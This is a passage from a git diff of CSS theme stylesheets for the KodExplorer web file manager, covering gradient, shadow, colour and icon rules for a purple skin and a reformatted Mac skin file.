position:absolute;top:0px;left:0px;bottom:0px;right:0px;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#480552', endColorstr='#000000');background-image:-webkit-linear-gradient(180deg,#480552,#000000);background-image:-moz-linear-gradient(180deg,#480552,#000000);background-image:-o-linear-gradient(180deg,#480552,#000000);background-image:-ms-linear-gradient(180deg,#480552,#000000);background-image:linear-gradient(180deg,#480552,#000000);-pie-background:linear-gradient(to 180deg,#480552,#000000);background-size:100% 100%;} body .full-background:before{ width:100%;height:100%;display:block;content:" ";filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#480552', endColorstr='#000000');background-image:-webkit-linear-gradient(180deg,#480552,#000000);background-image:-moz-linear-gradient(180deg,#480552,#000000);background-image:-o-linear-gradient(180deg,#480552,#000000);background-image:-ms-linear-gradient(180deg,#480552,#000000);background-image:linear-gradient(180deg,#480552,#000000);-pie-background:linear-gradient(to 180deg,#480552,#000000);background-size:100% 100%;filter:url(blur.svg#full-background);-webkit-filter:blur(10px);-moz-filter:blur(10px);-ms-filter:blur(10px);filter:blur(10px);} body .btn .font-icon, body .btn.btn-default .font-icon{ color:rgba(255,255,255,0.8);} body .aui-outer .btn .font-icon, body .edit-main .btn .font-icon{ color:#999;} body .common-footer{ background:rgba(234,234,234,0.1);color:rgba(255,255,255,0.6);border-top:1px solid rgba(234,234,234,0.15);} body .common-footer a{ color:rgba(255,255,255,0.8);} body .context-menu-list{ box-shadow:0 10px 40px rgba(0,0,0,0.4);border-radius:0;background:rgba(255,255,255,0.95);} body .context-menu-list .context-menu-item{ line-height:25px;height:25px;} body .aui-outer{ border:none;box-shadow:0px 5px 20px rgba(0,0,0,0.5), 0 0 0 1px rgba(255,255,255,0.2);} body .aui-state-focus .aui-outer{ box-shadow:0px 5px 30px rgba(0,0,0,0.7), 0 0 0 1px rgba(255,255,255,0.2);} body .aui-buttons{ border-top:1px solid rgba(255,255,255,0.2);} body div.dialog-simple .aui-title{ border-radius:0;} body .aui-buttons button.aui-state-highlight{ background:linear-gradient(to right,#44abf6,#2865e2);} body .aui-state-focus .aui-title, body .aui-title{ background-color:rgba(0,0,0,0.8);box-shadow:0 1px 0 rgba(255,255,255,0.15);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#480552', endColorstr='#000000');background-image:-webkit-linear-gradient(200deg,#480552,#000000);background-image:-moz-linear-gradient(200deg,#480552,#000000);background-image:-o-linear-gradient(200deg,#480552,#000000);background-image:-ms-linear-gradient(200deg,#480552,#000000);background-image:linear-gradient(200deg,#480552,#000000);-pie-background:linear-gradient(to 200deg,#480552,#000000);text-shadow:0px 0px 0px #fff, 0px 0px 4px #000, 0px 0px 5px #000;opacity:0.95;} body .dropdown-menu > li > a:hover, body .dropdown-menu .this a, body .dropdown-menu > li > a:focus{ background:linear-gradient(to right,#44abf6,#2865e2);} body .topbar{ background:rgba(234,234,234,0.23);box-shadow:0 0 6px rgba(0,0,0,0.2);border-bottom:1px solid rgba(255,255,255,0.01);border:none;} body .topbar .content{ border-bottom:none;} body .topbar .content .topbar-menu{ color:#fff;text-shadow:0 0 0px #fff, 0 1px 3px #666666;border-color:rgba(234,234,234,0.05);} body .topbar .content .open .topbar-menu, body .topbar .content .topbar-menu:hover, body .topbar .content .topbar-menu.this{ background:rgba(234,234,234,0.23);} body .topbar .content .share-title, body .topbar .content .share-info, body .topbar .content .share-info .time{ color:#fff;text-shadow:0 0 0px #fff, 0 1px 3px #666666;} body .topbar .content .top-right div.share-info-user{ color:#fff;text-shadow:0 0 0px #fff, 0 1px 3px #666666;} body .share-page-main .show-code{ border:1px solid rgba(100,100,100,0.2);background:rgba(255,255,255,0.9);border-radius:2px;} body .share-page-main .show-code pre{ font-family:Menlo, Consolas, source-code-pro, Monaco, 'Liberation Mono', 'Ubuntu Mono', monospace, 'Microsoft Yahei', '微软雅黑', Courier, 'Helvetica Neue', 'Lantinghei SC', STXihei, WenQuanYi, sans-serif;} body .frame-main{ background:rgba(221,221,221,0.02);} body .frame-main .frame-right .frame-right-main .tools{ background:rgba(221,221,221,0.02);border-bottom:1px solid rgba(234,234,234,0.15);box-shadow:1px 2px 15px rgba(0,0,0,0.2);} body .frame-main .frame-right .frame-right-main .tools .font-icon{ color:#fff;} body .frame-main .frame-right .frame-right-main .tools .tools-right .menu-file-sort-by:hover, body .frame-main .frame-right .frame-right-main .tools .tools-right .menu-file-sort-by.context-menu-active{ background:rgba(234,234,234,0.23);color:#fff;text-shadow:0 0 0px #fff, 0 1px 3px #666666;} body .frame-main .frame-right .frame-right-main .tools .tools-right .set-icon-size:hover .dropdown-toggle, body .frame-main .frame-right .frame-right-main .tools .tools-right .set-icon-size.open .dropdown-toggle{ background:rgba(234,234,234,0.23);color:#fff;text-shadow:0 0 0px #fff, 0 1px 3px #666666;} body .frame-main .frame-right .frame-right-main .tools .tools-right .set-icon-size .set-icon-size-slider .slider-bg{ background:#666;} body .frame-main .frame-right .file-select-info{ background:#000;background:rgba(0,0,0,0.2);color:#aaa;opacity:0.5;filter:alpha(opacity=50);} body div.frame-header{ background:rgba(221,221,221,0.02);border-bottom:1px solid rgba(234,234,234,0.05);} body div.frame-main .frame-left{ background:rgba(221,221,221,0.02);border-right:1px solid rgba(234,234,234,0.15);} body div.frame-main .frame-left .bottom-box{ background:rgba(221,221,221,0.02);border-right:none;border-top:1px solid rgba(234,234,234,0.15);} body div.frame-main .frame-left .bottom-box .cell{ background:rgba(221,221,221,0.02);color:#fff;text-shadow:0 0 0px #fff, 0 1px 3px #666666;border:1px solid rgba(234,234,234,0.05);box-shadow:0 0 10px rgba(0,0,0,0.1);} body div.frame-main .frame-left .bottom-box .cell:hover{ background:rgba(234,234,234,0.16);} body .setting-content .input-btn-right .font-icon{ color:#888;} body .user-space-info{ color:#fff;text-shadow:0 0 0px #fff, 0 1px 3px #666666;} body .group-space-use{ color:#fff;text-shadow:0 0 0px #fff, 0 1px 3px #666666;background:rgba(234,234,234,0.1);border-color:rgba(234,234,234,0.15);} body .btn-default{ text-shadow:none;} body #btn-history-back, body #home, body #fav{ border-right-color:transparent;} body .btn#home{ border-radius:3px 0 0 3px;} body .btn#up, body .btn#search{ border-radius:0 3px 3px 0;} body .input-style{ background:none;border:1px solid rgba(234,234,234,0.23);border-right-color:transparent;box-shadow:inset 0px 0px 20px rgba(0,0,0,0.15);} body .frame-header .header-content .header-right input, body .frame-header .header-content .header-right input:focus{ background:none;border:1px solid rgba(234,234,234,0.23);border-right-color:transparent;box-shadow:inset 0px 0px 20px rgba(0,0,0,0.15);} body .frame-header .header-content .header-right input{ color:#fff;text-shadow:0 0 0px #fff, 0 1px 3px #666666;} body .button-style{ color:#fff;text-shadow:0 0 0px #fff, 0 1px 3px #666666;background:rgba(234,234,234,0.1);border-color:rgba(234,234,234,0.23);box-shadow:0 5px 10px rgba(234,234,234,0.1) inset;} body .button-style:hover{ box-shadow:inset 0 2px 4px rgba(0,0,0,0.1), 0 0 5px rgba(234,234,234,0.15);border-color:rgba(234,234,234,0.15);} body .button-style:active, body .button-style.active{ box-shadow:inset 0 4px 10px rgba(0,0,0,0.4);border-color:rgba(234,234,234,0.23);} body .frame-main .frame-right .frame-right-main .tools button.btn, body .frame-main .frame-right .frame-right-main .tools .tools-left button.btn, body .frame-header .header-content button.btn, body .frame-header .header-content .header-right .btn-default, body .frame-main .frame-right .frame-right-main .admin-real-path a.dialog-goto-path{ color:#fff;text-shadow:0 0 0px #fff, 0 1px 3px #666666;background:rgba(234,234,234,0.1);border-color:rgba(234,234,234,0.23);box-shadow:0 5px 10px rgba(234,234,234,0.1) inset;} body .frame-main .frame-right .frame-right-main .tools button.btn:hover, body .frame-main .frame-right .frame-right-main .tools .tools-left button.btn:hover, body .frame-header .header-content button.btn:hover, body .frame-header .header-content .header-right .btn-default:hover, body .frame-main .frame-right .frame-right-main .admin-real-path a.dialog-goto-path:hover{ box-shadow:inset 0 2px 4px rgba(0,0,0,0.1), 0 0 5px rgba(234,234,234,0.15);border-color:rgba(234,234,234,0.15);} body .frame-main .frame-right .frame-right-main .tools button.btn:active, body .frame-main .frame-right .frame-right-main .tools button.btn.active, body .frame-main .frame-right .frame-right-main .tools .tools-left button.btn:active, body .frame-main .frame-right .frame-right-main .tools .tools-left button.btn.active, body .frame-header .header-content button.btn:active, body .frame-header .header-content button.btn.active, body .frame-header .header-content .header-right .btn-default:active, body .frame-header .header-content .header-right .btn-default.active, body .frame-main .frame-right .frame-right-main .admin-real-path a.dialog-goto-path:active, body .frame-main .frame-right .frame-right-main .admin-real-path a.dialog-goto-path.active{ box-shadow:inset 0 4px 10px rgba(0,0,0,0.4);border-color:rgba(234,234,234,0.23);} body .header-middle .btn-default{ color:#fff;text-shadow:0 0 0px #fff, 0 1px 3px #666666;background:rgba(234,234,234,0.1);border-color:rgba(234,234,234,0.23);box-shadow:0 5px 10px rgba(234,234,234,0.1) inset;} body .header-middle .btn-default:hover{ box-shadow:inset 0 2px 4px rgba(0,0,0,0.1), 0 0 5px rgba(234,234,234,0.15);border-color:rgba(234,234,234,0.15);} body .header-middle .btn-default:active, body .header-middle .btn-default.active{ box-shadow:inset 0 4px 10px rgba(0,0,0,0.4);border-color:rgba(234,234,234,0.23);} body .header-middle .disable .font-icon{ opacity:0.6;filter:alpha(opacity=60);} body .header-middle #yarnball{ border-right-color:transparent;background:none;border:1px solid rgba(234,234,234,0.23);box-shadow:inset 0px 0px 20px rgba(0,0,0,0.15);} body .header-middle #yarnball-input input.path{ color:#fff;text-shadow:0 0 0px #fff, 0 1px 3px #666666;} body .header-middle #yarnball-input{ background:none;border:1px solid rgba(234,234,234,0.23);border-right-color:transparent;box-shadow:inset 0px 0px 20px rgba(0,0,0,0.15);} body .header-middle #yarnball .yarnball .yarnlet a{ background:none;color:#fff;text-shadow:0 0 0px #fff, 0 1px 3px #666666;} body .header-middle #yarnball .yarnball .yarnlet a::after{ content:'/';padding-left:5px;} body .header-middle #yarnball .yarnball .yarnlet a:hover{ color:rgba(234,234,234,0.23);} body .header-middle #yarnball .yarnball .yarnlet a.curDropToPath{ color:#f60;} body .header-middle #yarnball .yarnball .yarnlet a, body .header-middle #yarnball .yarnball .yarnlet a:link, body .header-middle #yarnball .yarnball .yarnlet a:visited{ padding:0px 8px 0px 8px;margin-left:-10px;} body .header-middle #yarnball .yarnball .yarnlet .left-yarn{ background:none;} body .frame-header .header-content .btn-default:active, body .frame-header .header-content .btn-default.active{ color:#fff;text-shadow:0 0 0px #fff, 0 1px 3px #666666;background:rgba(234,234,234,0.1);border-color:rgba(234,234,234,0.15);} body .file-draging.file-list-icon div.file .filename, body .file-draging.file-list-list div.file .filename, body .file-draging.file-list-split div.file .filename{ visibility:hidden;} body .file-draging.file-list-icon div.file.handle_target .filename, body .file-draging.file-list-list div.file.handle_target .filename, body .file-draging.file-list-split div.file.handle_target .filename{ visibility:visible;} body .file-list-icon .file{ color:#fff;} body .file-list-list .file{ border-bottom:1px solid rgba(234,234,234,0.05);} body .file-list-list .file.file2{ background:rgba(221,221,221,0.02);} body .file-continer .file, body .file-continer .file2{ color:#fff;text-shadow:0 0 0px #fff, 0 1px 3px #666666;text-shadow:0 0 1px #fff;} body .file-continer .file.hover, body .file-continer .file.select-split-parent, body .file-continer .file2.hover, body .file-continer .file2.select-split-parent{ filter:none;background:rgba(234,234,234,0.1);border:1px solid rgba(234,234,234,0.1);} body .file-continer .file.select, body .file-continer .file.file-select-drag-temp, body .file-continer .file.file-select-over-temp, body .file-continer .file2.select, body .file-continer .file2.file-select-drag-temp, body .file-continer .file2.file-select-over-temp{ background:rgba(234,234,234,0.16);border:1px solid rgba(234,234,234,0.23);border-bottom:1px solid rgba(234,234,234,0.23);} body .file-list-split .split-box{ border-right:1px solid #e6e6e6;border-right:1px solid rgba(150,150,150,0.15);} body .file-list-split .split-box.split-hover{ background:rgba(5,5,5,0.2);background:rgba(0,0,0,0.01);box-shadow:0 0 100px rgba(5,5,5,0.2) inset;border-bottom-color:rgba(255,255,255,0.2);} body .file-list-split .split-box.split-select{ background:rgba(0,0,0,0.2);background:rgba(0,0,0,0.01);box-shadow:0 0 100px rgba(0,0,0,0.2) inset;border-left:1px solid #eee;border-color:rgba(0,0,0,0.2);margin-left:-1px;border-bottom:5px solid #2196F3;border-bottom-color:rgba(255,255,255,0.4);} body .file-list-split .file .children-open{ background:rgba(255,255,255,0.01);} body .file-list-split .file .children-open i.font-icon{ color:#fff;} body .context-menu-list .context-menu-item.hover{ background:linear-gradient(to right,#44abf6,#2865e2);} body #list-type-header{ background:none;} body #main-title{ background:rgba(234,234,234,0.1);border-bottom:1px solid rgba(234,234,234,0.15);box-shadow:0px 5px 5px rgba(0,0,0,0.05);} body #main-title .this{ background:rgba(234,234,234,0.16);} body #main-title .filename, body #main-title .filesize, body #main-title .filetype, body #main-title .filetime{ color:#fff;text-shadow:0 0 0px #fff, 0 1px 3px #666666;border-right:1px solid rgba(234,234,234,0.23);} body #main-title .filename:hover, body #main-title .filesize:hover, body #main-title .filetype:hover, body #main-title .filetime:hover{ background:rgba(234,234,234,0.16);} body#page-editor .frame-main .tools-left{ background:rgba(234,234,234,0.15);border-bottom:1px solid rgba(234,234,234,0.05);} body#page-editor .frame-main .tools-left a{ color:#fff;text-shadow:0 0 0px #fff, 0 1px 3px #666666;} body#page-editor .frame-main .frame-right .frame-right-main .frame{ border-left:1px solid rgba(234,234,234,0.05);} body #body .menu-left, body #body .app-menu-left{ background:rgba(230,230,230,0.2);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#480552', endColorstr='#000000');background-image:-webkit-linear-gradient(180deg,#480552,#000000);background-image:-moz-linear-gradient(180deg,#480552,#000000);background-image:-o-linear-gradient(180deg,#480552,#000000);background-image:-ms-linear-gradient(180deg,#480552,#000000);background-image:linear-gradient(180deg,#480552,#000000);-pie-background:linear-gradient(to 180deg,#480552,#000000);background-size:cover;} body #body .menu-left h1, body #body .app-menu-left h1{ color:#fff;font-weight:400;} body #body .menu-left .setting a, body #body .app-menu-left .setting a{ color:#fff;} body #body .menu-left .setting a:hover, body #body .app-menu-left .setting a:hover{ background:rgba(242,242,242,0.2);} body #body .menu-left .setting a.selected, body #body .app-menu-left .setting a.selected{ background:rgba(255,255,255,0.2);border-color:rgba(255,255,255,0.7);color:#fff;} body #body .menu-left .line, body #body .app-menu-left .line{ color:#fff;border-color:#aaa;border-color:rgba(255,255,255,0.3);} body #body .user-list a{ color:#2a6496;} body #body .system-content .left-frame .left-content .ztree li a{ text-shadow:none;} body #body .system-content .left-frame .left-content .ztree li a.hover{ background:#eee;border-color:#eee;} body #body .system-content .left-frame .left-content .ztree li a.curSelectedNode{ background:#63acff;border:1px solid #63acff;} body#page-explorer .task-tab, body#page-editor .task-tab{ background:rgba(255,255,255,0.2);border-color:rgba(255,255,255,0.3);} body .ztree li a{ color:#fff;border-radius:3px;margin:0 4px 0 4px;background:transparent;border-color:transparent;text-shadow:0 0 0px #fff, 0 1px 3px #666666;} body .ztree li a:hover{ background:rgba(234,234,234,0.15);border-color:transparent;} body .ztree li a span.button.switch{ opacity:0.8;filter:alpha(opacity=80);} body .ztree li a span.button.switch:after{ color:#cccccc;} body .ztree li a span.button.switch.noline_open:after, body .ztree li a span.button.switch.noline_open_hover:after{ color:#e6e6e6;} body .ztree li a.curSelectedNode, body .ztree li a.curDropTreeNode{ background:rgba(234,234,234,0.33);border-color:transparent;} body .ztree li a.curSelectedNode .noline_open:after, body .ztree li a.curSelectedNode .noline_open_hover:after, body .ztree li a.curSelectedNode .noline_close:after, body .ztree li a.curDropTreeNode .noline_open:after, body .ztree li a.curDropTreeNode .noline_open_hover:after, body .ztree li a.curDropTreeNode .noline_close:after{ color:#fff !important;} body .ztree.group-list-tree li a{ color:#444;text-shadow:none;} body.setting-page .ztree li a{ color:inherit;}} \ No newline at end of file diff --git a/static/style/skin/mac.css b/static/style/skin/mac.css index 9765714..4afc83b 100755 --- a/static/style/skin/mac.css +++ b/static/style/skin/mac.css @@ -1,3 +1 @@ -/* power by kodexplorer ver 4.25(2017-12-04) [build 1512368389.5822] */ -body{color:#444;position:absolute;top:0px;left:0px;bottom:0px;right:0px;}body .x-folder{background-image:url("../../images/file_icon/icon_others/folder_mac.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/folder_mac.png',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/folder_mac.png',sizingMethod='scale');}body .x-folder.small{background-image:url("../../images/file_icon/icon_others/folder_mac_small.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/folder_mac_small.png',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/folder_mac_small.png',sizingMethod='scale');width:18px;height:18px;}body .file-continer .x-folder.small{margin-top:-1px;}body .topbar{background:#f1f1f1;}body .topbar .content{border-bottom:1px solid #ddd;}body .topbar .content .topbar-menu{color:#444;border-color:#dddddd;}body .topbar .content .share-title,body .topbar .content .share-info,body .topbar .content .share-info .time{color:#666;}body .topbar .content .top-right div.share-info-user{color:#666;}body .topbar .content .open .topbar-menu,body .topbar .content .topbar-menu:hover,body .topbar .content .topbar-menu.this{background:#e2e2e2;}body .aui-buttons{padding:10px;border-top:1px solid #eee;border-radius:0px 0px 5px 5px;}body .aui-buttons button{margin-left:15px;padding:5px 1.6em;border-radius:3px;height:auto;color:#333;border:solid 1px #ccc;-webkit-transition:all 0.2s;-moz-transition:all 0.2s;-o-transition:all 0.2s;-ms-transition:all 0.2s;transition:all 0.2s;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffffff', endColorstr='#dddddd');background-image:-webkit-linear-gradient(top,#fff,#ddd);background-image:-moz-linear-gradient(top,#fff,#ddd);background-image:-o-linear-gradient(top,#fff,#ddd);background-image:-ms-linear-gradient(top,#fff,#ddd);background-image:linear-gradient(top,#fff,#ddd);-pie-background:linear-gradient(to top,#fff,#ddd);text-shadow:0px 1px 1px #ffffff;box-shadow:0 1px 0 rgba(255,255,255,0.7), 0 -1px 0 rgba(0,0,0,0.09);}body .aui-buttons button:focus{outline:none 0;box-shadow:0 0 8px rgba(0,0,0,0.2);}body .aui-buttons button:hover{color:#000;border-color:#aaa;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffffff', endColorstr='#dddddd');background-image:-webkit-linear-gradient(top,#fff,#ddd);background-image:-moz-linear-gradient(top,#fff,#ddd);background-image:-o-linear-gradient(top,#fff,#ddd);background-image:-ms-linear-gradient(top,#fff,#ddd);background-image:linear-gradient(top,#fff,#ddd);-pie-background:linear-gradient(to top,#fff,#ddd);}body .aui-buttons button:active{border-color:#aaa;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#dddddd', endColorstr='#ffffff');background-image:-webkit-linear-gradient(top,#ddd,#fff);background-image:-moz-linear-gradient(top,#ddd,#fff);background-image:-o-linear-gradient(top,#ddd,#fff);background-image:-ms-linear-gradient(top,#ddd,#fff);background-image:linear-gradient(top,#ddd,#fff);-pie-background:linear-gradient(to top,#ddd,#fff);box-shadow:inset 0 1px 1em rgba(0,0,0,0.3);}body .aui-buttons button[disabled]{cursor:default;color:#666;background:#DDD;border:solid 1px #999;opacity:0.5;filter:alpha(opacity=50);box-shadow:none;}body .aui-buttons button::-moz-focus-inner{border:0;padding:0;margin:0;}body .aui-buttons button.aui-state-highlight{color:#fff;border:solid 1px #6091FF;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#84c8ff', endColorstr='#6091ff');background-image:-webkit-linear-gradient(top,#84C8FF,#6091FF);background-image:-moz-linear-gradient(top,#84C8FF,#6091FF);background-image:-o-linear-gradient(top,#84C8FF,#6091FF);background-image:-ms-linear-gradient(top,#84C8FF,#6091FF);background-image:linear-gradient(top,#84C8FF,#6091FF);-pie-background:linear-gradient(to top,#84C8FF,#6091FF);text-shadow:-1px -1px 1px #6091FF;}body .aui-buttons button.aui-state-highlight:hover{color:#fff;border-color:#145cff;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#84c8ff', endColorstr='#6091ff');background-image:-webkit-linear-gradient(top,#84C8FF,#6091FF);background-image:-moz-linear-gradient(top,#84C8FF,#6091FF);background-image:-o-linear-gradient(top,#84C8FF,#6091FF);background-image:-ms-linear-gradient(top,#84C8FF,#6091FF);background-image:linear-gradient(top,#84C8FF,#6091FF);-pie-background:linear-gradient(to top,#84C8FF,#6091FF);}body .aui-buttons button.aui-state-highlight:active{border-color:#6091FF;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#84c8ff', endColorstr='#6091ff');background-image:-webkit-linear-gradient(top,#84C8FF,#6091FF);background-image:-moz-linear-gradient(top,#84C8FF,#6091FF);background-image:-o-linear-gradient(top,#84C8FF,#6091FF);background-image:-ms-linear-gradient(top,#84C8FF,#6091FF);background-image:linear-gradient(top,#84C8FF,#6091FF);-pie-background:linear-gradient(to top,#84C8FF,#6091FF);}body .aui-outer{border-radius:5px;border:1px solid #ccc;-webkit-transition:box-shadow 0.1s;-moz-transition:box-shadow 0.1s;-o-transition:box-shadow 0.1s;-ms-transition:box-shadow 0.1s;transition:box-shadow 0.1s;box-shadow:0 0px 30px rgba(0,0,0,0.2);}body .aui-outer .aui-border{border-radius:5px;}body .aui-outer .aui-header{border-radius:5px 5px 0 0;overflow:hidden;}body .aui-outer .aui-dialog{background:#fff;border-radius:5px;}body .aui-outer .aui-dialog .aui-main{border-radius:5px;}body .aui-title{height:27px;line-height:27px;padding:0 16px 0 0px;color:#aaa;background:#f0f0f0;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#f3f3f3', endColorstr='#dddddd');background-image:-webkit-linear-gradient(top,#f3f3f3,#ddd);background-image:-moz-linear-gradient(top,#f3f3f3,#ddd);background-image:-o-linear-gradient(top,#f3f3f3,#ddd);background-image:-ms-linear-gradient(top,#f3f3f3,#ddd);background-image:linear-gradient(top,#f3f3f3,#ddd);-pie-background:linear-gradient(to top,#f3f3f3,#ddd);border-bottom:1px solid #ccc;text-shadow:0 1px 0 #eee;text-align:center;bottom:0px;height:28px;}body .aui-title img{width:18px;}body .aui-state-focus .aui-title{color:#444;}body .aui-state-focus .aui-outer{box-shadow:0 0px 60px rgba(0,0,0,0.4);border:1px solid #b6b6b6;}body .aui-state-lock .aui-outer{box-shadow:0 3px 30px rgba(0,0,0,0.4);}body .aui-min{right:67px;}body .aui-max{right:40px;}body .aui-close{right:13px;}body .aui-min,body .aui-max,body .aui-close{display:block;position:absolute;text-decoration:none;outline:none;cursor:pointer;font-size:1.25em;-webkit-transition:inherit;-moz-transition:inherit;-o-transition:inherit;-ms-transition:inherit;transition:inherit;color:#aaa;top:4px;border:1px solid #bbb;border-radius:10px;height:18px;width:18px;font-size:1em;line-height:18px;text-align:center;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#eeeeee', endColorstr='#bbbbbb');background-image:-webkit-linear-gradient(top,#eee,#bbb);background-image:-moz-linear-gradient(top,#eee,#bbb);background-image:-o-linear-gradient(top,#eee,#bbb);background-image:-ms-linear-gradient(top,#eee,#bbb);background-image:linear-gradient(top,#eee,#bbb);-pie-background:linear-gradient(to top,#eee,#bbb);font-family:FontAwesome;}body .aui-min:hover,body .aui-max:hover,body .aui-close:hover{box-shadow:0 1px 0 rgba(255,255,255,0.3), inset 0 1px 2px rgba(255,255,255,0.3);}body .aui-min:active,body .aui-max:active,body .aui-close:active{box-shadow:none;color:#fff !important;}body .aui-close:hover{border:1px solid #c00;color:#800000;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff1a1a', endColorstr='#cc0000');background-image:-webkit-linear-gradient(top,#ff1a1a,#c00);background-image:-moz-linear-gradient(top,#ff1a1a,#c00);background-image:-o-linear-gradient(top,#ff1a1a,#c00);background-image:-ms-linear-gradient(top,#ff1a1a,#c00);background-image:linear-gradient(top,#ff1a1a,#c00);-pie-background:linear-gradient(to top,#ff1a1a,#c00);}body .aui-min:hover{border:1px solid #EAB11E;color:#ab8010;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#f1c964', endColorstr='#eab11e');background-image:-webkit-linear-gradient(top,#f1c964,#EAB11E);background-image:-moz-linear-gradient(top,#f1c964,#EAB11E);background-image:-o-linear-gradient(top,#f1c964,#EAB11E);background-image:-ms-linear-gradient(top,#f1c964,#EAB11E);background-image:linear-gradient(top,#f1c964,#EAB11E);-pie-background:linear-gradient(to top,#f1c964,#EAB11E);}body .aui-max:hover{border:1px solid #169A1B;color:#0c570f;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#20dd27', endColorstr='#169a1b');background-image:-webkit-linear-gradient(top,#20dd27,#169A1B);background-image:-moz-linear-gradient(top,#20dd27,#169A1B);background-image:-o-linear-gradient(top,#20dd27,#169A1B);background-image:-ms-linear-gradient(top,#20dd27,#169A1B);background-image:linear-gradient(top,#20dd27,#169A1B);-pie-background:linear-gradient(to top,#20dd27,#169A1B);}body .aui-max,body .aui-min{display:none;}body div.dialog-simple .aui-title{text-align:left;}body div.dialog-simple .aui-min{right:67px;}body div.dialog-simple .aui-max{right:40px;}body div.dialog-simple .aui-close{right:13px;}body div.dialog-simple .aui-max,body div.dialog-simple .aui-min,body div.dialog-simple .aui-close{background:rgba(255,255,255,0.3);}body .check-version-dialog.dialog-simple .aui-title-bar{margin-top:-120px;}body .dialog-no-title.aui-state-focus .aui-outer,body .dialog-no-title .aui-outer,body .dialog-no-title .aui-inner{border:none;}body#page-desktop .topbar{background:#eee;background-color:rgba(190,190,190,0.3);box-shadow:0 0 10px rgba(0,0,0,0.2);}body#page-desktop .topbar .content{border-bottom:1px solid #ddd;border-bottom-color:transparent;}body#page-desktop .topbar .content .topbar-menu{color:#fff;border-color:rgba(190,190,190,0.1);}body#page-desktop .topbar .content .top-right div.share-info-user{color:#fff;}body#page-desktop .topbar .content .open .topbar-menu,body#page-desktop .topbar .content .topbar-menu:hover,body#page-desktop .topbar .content .topbar-menu.this{background:rgba(255,255,255,0.3);}body#page-desktop .file-list-icon .file .filename{margin-top:6px;line-height:1.7em;padding-top:1px;border-radius:18px;background:rgba(0,0,0,0.15);-webkit-transition:none;-moz-transition:none;-o-transition:none;-ms-transition:none;transition:none;}body#page-desktop .file-list-icon .file .filename .title{display:block;overflow:hidden;white-space:nowrap;}body#page-desktop .file-list-icon .file .filename .textarea{margin-left:-1px;}body#page-desktop .file-list-icon .file.file-icon-edit.select .filename,body#page-desktop .file-list-icon .file.file-icon-edit .filename{background:none;}body#page-desktop .file-list-icon .file.select .filename,body#page-desktop .file-list-icon .file.file-select-drag-temp .filename,body#page-desktop .file-list-icon .file.select.hover .filename{background:rgba(0,0,0,0.2);border:none;margin-left:0px;}body .ztree li a{color:#444;border-radius:3px;margin:0 4px 0 4px;}body .file-list-icon .file{color:#444;}body .file-select{background:#63acff;border-color:transparent;color:#fff;filter:none;}body .file-select .children-open i.font-icon{color:#fff;}body .file-list-list .file,body .file-list-split .file{color:#444;-webkit-transition:all 0.15;-moz-transition:all 0.15;-o-transition:all 0.15;-ms-transition:all 0.15;transition:all 0.15;border-radius:0px;-webkit-transition:all 0.2;-moz-transition:all 0.2;-o-transition:all 0.2;-ms-transition:all 0.2;transition:all 0.2;}body .file-list-list .file.select,body .file-list-list .file.file-select-drag-temp,body .file-list-split .file.select,body .file-list-split .file.file-select-drag-temp{background:#63acff;border-color:transparent;color:#fff;filter:none;border-bottom:1px solid #7dbaff !important;}body .file-list-list .file.select .children-open i.font-icon,body .file-list-list .file.file-select-drag-temp .children-open i.font-icon,body .file-list-split .file.select .children-open i.font-icon,body .file-list-split .file.file-select-drag-temp .children-open i.font-icon{color:#fff;}body .file-list-list .file.select .children-more i.font-icon,body .file-list-list .file.file-select-drag-temp .children-more i.font-icon,body .file-list-split .file.select .children-more i.font-icon,body .file-list-split .file.file-select-drag-temp .children-more i.font-icon{color:#fff !important;}body .file-list-list .file.hover,body .file-list-split .file.hover{background:#c9e2ff;border-color:transparent;}body .file-list-list .file.hover.select,body .file-list-list .file.hover .file-select-drag-temp,body .file-list-split .file.hover.select,body .file-list-split .file.hover .file-select-drag-temp{background:#63acff;border-color:transparent;color:#fff;filter:none;}body .file-list-list .file.hover.select .children-open i.font-icon,body .file-list-list .file.hover .file-select-drag-temp .children-open i.font-icon,body .file-list-split .file.hover.select .children-open i.font-icon,body .file-list-split .file.hover .file-select-drag-temp .children-open i.font-icon{color:#fff;}body .file-list-list .file.file2{background:#f6f6f6;}body .file-list-list .file.file2.hover{background:#e3f0ff;border-color:transparent;}body .file-list-list .file.file2.hover.select,body .file-list-list .file.file2.hover .file-select-drag-temp{background:#63acff;border-color:transparent;color:#fff;filter:none;}body .file-list-list .file.file2.hover.select .children-open i.font-icon,body .file-list-list .file.file2.hover .file-select-drag-temp .children-open i.font-icon{color:#fff;}body .file-list-list .file.file2.select,body .file-list-list .file.file2.file-select-drag-temp{background:#63acff;border-color:transparent;color:#fff;filter:none;}body .file-list-list .file.file2.select .children-open i.font-icon,body .file-list-list .file.file2.file-select-drag-temp .children-open i.font-icon{color:#fff;}body .file-continer .file .item-menu,body .ztree li a .menu-item{border-radius:2px;}body #body .menu-left .setting a:hover{background:#e1efff;}body #body .menu-left .setting a.selected{background:#e1efff;color:#63acff;padding-left:10px;border:none;border-right:5px solid #63acff;} -/* ver 4.25(2017-12-04) [build 1512368389.5822] */ \ No newline at end of file +body{color:#444;position:absolute;top:0px;left:0px;bottom:0px;right:0px;}body .x-folder{background-image:url("../../images/file_icon/icon_others/folder_mac.png");background-image:none 